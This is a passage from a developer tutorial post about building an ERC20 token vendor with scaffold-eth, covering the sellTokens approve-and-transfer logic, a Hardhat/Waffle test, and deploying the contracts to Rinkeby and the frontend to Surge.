&lt;p&gt;If everything is OK we proceed with the &lt;code&gt;(bool sent) = yourToken.transferFrom(msg.sender, address(this), tokenAmountToSell);&lt;/code&gt; operation. We are telling the YourToken contract to transfer &lt;code&gt;tokenAmountToSell&lt;/code&gt; from the user’s balance &lt;code&gt;msg.sender&lt;/code&gt; to the Vendor’s balance &lt;code&gt;address(this)&lt;/code&gt; . This operation can succeed only if the user has &lt;strong&gt;already&lt;/strong&gt; &lt;strong&gt;approved&lt;/strong&gt; at least that specific amount with the &lt;code&gt;approve&lt;/code&gt; function we already reviewed.&lt;/p&gt;

&lt;p&gt;The last thing we do is to &lt;strong&gt;transfer&lt;/strong&gt; the ETH amount for the sell operation back to the user’s address. And we’re done!&lt;/p&gt;

&lt;h3&gt;
  
  
  Update your App.jsx
&lt;/h3&gt;

&lt;p&gt;In order to test this in your React app, you can update your App.jsx adding two &lt;code&gt;Card&lt;/code&gt; to &lt;code&gt;Approve&lt;/code&gt; and &lt;code&gt;Sell&lt;/code&gt; tokens (see the GitHub code repo at the end of the post) or you can just do everything from the &lt;strong&gt;Debug Contract&lt;/strong&gt; &lt;strong&gt;tab&lt;/strong&gt; that offers all the needed features.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/G1Wcb6Q3mYI"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Exercise Part 4: Create a test suite
&lt;/h2&gt;

&lt;p&gt;You know already from the previous post that Tests are a great foundation for the security and optimization of your app. You should never skip them and they are a way to understand the flow of the operations that are involved in the logic of the overall application.&lt;/p&gt;

&lt;p&gt;Tests on Solidity environment leverage on four libraries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/" rel="noopener noreferrer"&gt;Hardhat&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.ethers.io/v5/" rel="noopener noreferrer"&gt;Ethers-js&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/index.html" rel="noopener noreferrer"&gt;Waffle&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Chai (part of Waffle)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s review one test and then I’ll dump the whole code&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing the sellTokens() function
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AYPEpE4hQGKoTtWLbgMMQQA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1200%2F1%2AYPEpE4hQGKoTtWLbgMMQQA.png" alt="sellToken test case"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the test that will verify that our &lt;code&gt;sellTokens&lt;/code&gt; functions work as expected.&lt;/p&gt;

&lt;p&gt;Let’s review the logic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  First of all &lt;code&gt;addr1&lt;/code&gt; buys some tokens from the Vendor contract&lt;/li&gt;
&lt;li&gt;  Before selling as we said before we need to &lt;strong&gt;approve&lt;/strong&gt; the Vendor contract to be able to transfer to itself the amount of token that we want to sell.&lt;/li&gt;
&lt;li&gt;  After the approval, we double-check that Vendor’s token &lt;strong&gt;allowance&lt;/strong&gt; from addr1 is at least the amount of the token addr1 needs to sell (and transfer to the Vendor). This check could be skipped because we know that OpenZeppeling has already battle-tested their code but I just wanted to add it for learning purposes.&lt;/li&gt;
&lt;li&gt;  We are ready to sell the amount of token we just bought using the &lt;code&gt;sellTokens&lt;/code&gt; function of Vendor contract&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point we need to check three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The user’s token balance is 0 (we sold all our tokens)&lt;/li&gt;
&lt;li&gt;  User’s wallet has increased by 1 ETH with that transaction&lt;/li&gt;
&lt;li&gt;  The vendor’s token balance is 1000 (we bought 100 tokens)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Waffle offers some cool utilities to check &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#change-ether-balance" rel="noopener noreferrer"&gt;changes in ether balance&lt;/a&gt; and &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#change-token-balance" rel="noopener noreferrer"&gt;changes in token balances&lt;/a&gt; but unfortunately, it seems that there’s an issue on the latter one (check out the GitHub issue I just created).&lt;/p&gt;

&lt;h3&gt;
  
  
  Test coverage complete code
&lt;/h3&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;h2&gt;
  
  
  Final step: deploy your Contract to the moon (testnet)
&lt;/h2&gt;

&lt;p&gt;Ok, now it’s time. We have implemented our Smart Contract, we have tested the frontend UI, we have covered every edge case with our tests. We are ready to deploy it on the testnet.&lt;/p&gt;

&lt;p&gt;Following the &lt;a href="https://docs.scaffoldeth.io/scaffold-eth/solidity/deploying-your-contracts" rel="noopener noreferrer"&gt;scaffold-eth documentation&lt;/a&gt;, these are the steps we need to follow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Change the &lt;code&gt;defaultNetwork&lt;/code&gt; in &lt;code&gt;packages/hardhat/hardhat.config.js&lt;/code&gt; to the testnet you would like to use (in my case rinkeby)&lt;/li&gt;
&lt;li&gt; Updated the &lt;code&gt;infuriaProjectId&lt;/code&gt; with one created on &lt;a href="https://infura.io/" rel="noopener noreferrer"&gt;Infura&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt; Generate a deployer account &lt;code&gt;with yarn generate&lt;/code&gt; . This command should generate two &lt;code&gt;.txt&lt;/code&gt; file. One that will represent the account address and one with the &lt;strong&gt;seed phrase&lt;/strong&gt; of the generated account.&lt;/li&gt;
&lt;li&gt; Run &lt;code&gt;yarn account&lt;/code&gt; to see details of the account like eth balances across different networks.&lt;/li&gt;
&lt;li&gt; Make sure that the &lt;strong&gt;mnemonic.txt&lt;/strong&gt; and &lt;strong&gt;relative account files&lt;/strong&gt; are not pushed with your git repository, otherwise, anyone could get ownership of your Contract!&lt;/li&gt;
&lt;li&gt; Fund your deployer account with some funds. You can use an &lt;a href="https://instantwallet.io/" rel="noopener noreferrer"&gt;instant wallet&lt;/a&gt; to send funds to the QR code you just saw on your console.&lt;/li&gt;
&lt;li&gt; Deploy your contract with &lt;code&gt;yarn deploy&lt;/code&gt;!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If everything goes well you should see something like this on your console&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A5yt4Ucq28IB8yKN5_0df-A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2A5yt4Ucq28IB8yKN5_0df-A.png" alt="Deploy on Rinkeby success!"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Deployment metadata is stored in the&lt;/em&gt; &lt;code&gt;_/deployments_&lt;/code&gt; &lt;em&gt;folder, and automatically copied to&lt;/em&gt; &lt;code&gt;_/packages/react-app/src/contracts/hardhat_contracts.json_&lt;/code&gt; &lt;em&gt;via the&lt;/em&gt; &lt;code&gt;_--export-all_&lt;/code&gt; &lt;em&gt;flag in the&lt;/em&gt; &lt;code&gt;_yarn deploy_&lt;/code&gt; &lt;em&gt;command (see&lt;/em&gt; &lt;code&gt;_/packages/hardhat/packagen.json_&lt;/code&gt;&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you want to check the deployed contract you can search for them on the Etherscan Rinkeby site:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://rinkeby.etherscan.io/address/0xf386a0FB2F5cd61f188cFC93949A9Ea56F6c3ce1" rel="noopener noreferrer"&gt;YourToken Contract&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://rinkeby.etherscan.io/address/0xC37e05dCF542273F71c08fC64802fDd8f3C3DD8e" rel="noopener noreferrer"&gt;Vendor Contract&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Update your frontend app and deploy it on Surge!
&lt;/h2&gt;

&lt;p&gt;We are going to use the &lt;a href="https://surge.sh/" rel="noopener noreferrer"&gt;Surge&lt;/a&gt; method but you could also deploy your app on &lt;strong&gt;AWS S3&lt;/strong&gt; or on &lt;strong&gt;IPFS&lt;/strong&gt;, that’s up to you!&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://docs.scaffoldeth.io/scaffold-eth/deployment/shipping-your-app" rel="noopener noreferrer"&gt;scaffold-eth documentations&lt;/a&gt; always come in hand but I will summarize what you should do:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; If you are deploying on mainnet you should verify your contract on Etherscan. This procedure will add credibility and trust to your application. If you are interested in doing so just follow &lt;a href="https://docs.scaffoldeth.io/scaffold-eth/infraestructure/etherscan" rel="noopener noreferrer"&gt;this guide&lt;/a&gt; for scaffold-eth.&lt;/li&gt;
&lt;li&gt; Turn &lt;strong&gt;off Debug Mode&lt;/strong&gt; (it prints an awful lot of console.log, something that you don’t want to see in Chrome Developer Console, trust me!). Open &lt;code&gt;App.jsx&lt;/code&gt; , find &lt;code&gt;const DEBUG = true;&lt;/code&gt; and turn it to &lt;code&gt;false&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt; Take a look at &lt;code&gt;App.jsx&lt;/code&gt; and remove all unused code, just be sure to ship only what you really need!&lt;/li&gt;
&lt;li&gt; Make sure that your React app is pointing to the correct network (the one you just used to deploy your Contract). Look for &lt;code&gt;const targetNetwork = NETWORKS[“localhost”];&lt;/code&gt; and replace &lt;code&gt;localhost&lt;/code&gt; with the network of your contract. In our case, it will be &lt;code&gt;rinkeby&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Make sure you are using your own nodes and not the ones in Scaffold-eth as they are public and there’s no guarantee they will be taken down or rate limited. Review lines 58 and 59 of &lt;code&gt;App.jsx&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Update &lt;code&gt;constants.js&lt;/code&gt; and swap &lt;strong&gt;Infura&lt;/strong&gt;, &lt;strong&gt;Etherscan,&lt;/strong&gt; and &lt;strong&gt;Blocknative&lt;/strong&gt; API Keys if you want to use their services.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Are we ready? Let’s go!&lt;/p&gt;

&lt;p&gt;Now build your React App with&lt;code&gt;yarn build&lt;/code&gt; and when the build script has finished deploy it to Surge with &lt;code&gt;yarn surge&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If everything goes well you should see something like this. Your dApp is now live on Surge!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AaRe4JaBGiz6bk3sCFrofRQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F800%2F1%2AaRe4JaBGiz6bk3sCFrofRQ.png" alt="Deploy on Surge success!"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can check out our deployed dApp here: &lt;a href="https://melted-mind.surge.sh/" rel="noopener noreferrer"&gt;https://woozy-cable.surge.sh/&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Recap and Conclusions
&lt;/h2&gt;

&lt;p&gt;That’s what we have learned and done so far&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Clone scaffold-eth challenge repo&lt;/li&gt;
&lt;li&gt;  Learned a lot of web3/solidity concepts (deep dive into the ERC20 contract, approve pattern, and so on)&lt;/li&gt;
&lt;li&gt;  Create an ERC20 Token contract&lt;/li&gt;
&lt;li&gt;  Create a Vendor contract to allow users to buy and sell them&lt;/li&gt;
&lt;li&gt;  Tested our Contract locally on hardhat network&lt;/li&gt;
&lt;li&gt;  Deployed our contract on Rinkeby&lt;/li&gt;
&lt;li&gt;  Deployed our dApp on Surge&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything works as expected, you are ready to make the big jump and deploy everything on Ethereum main net!&lt;/p&gt;

&lt;p&gt;GitHub Repo for this project: &lt;a href="https://github.com/StErMi/scaffold-eth-challenge-2-token-vendor" rel="noopener noreferrer"&gt;scaffold-eth-challenge-2-token-vendor&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Did you like this content? Follow me for more!
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  GitHub: &lt;a href="https://github.com/StErMi" rel="noopener noreferrer"&gt;https://github.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Twitter: &lt;a href="https://twitter.com/StErMi" rel="noopener noreferrer"&gt;https://twitter.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Medium: &lt;a href="https://medium.com/@stermi" rel="noopener noreferrer"&gt;https://medium.com/@stermi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Dev.to: &lt;a href="https://dev.to/stermi"&gt;https://dev.to/stermi&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>web3</category>
      <category>react</category>
      <category>ethereum</category>
    </item>
  </channel>
</rss>
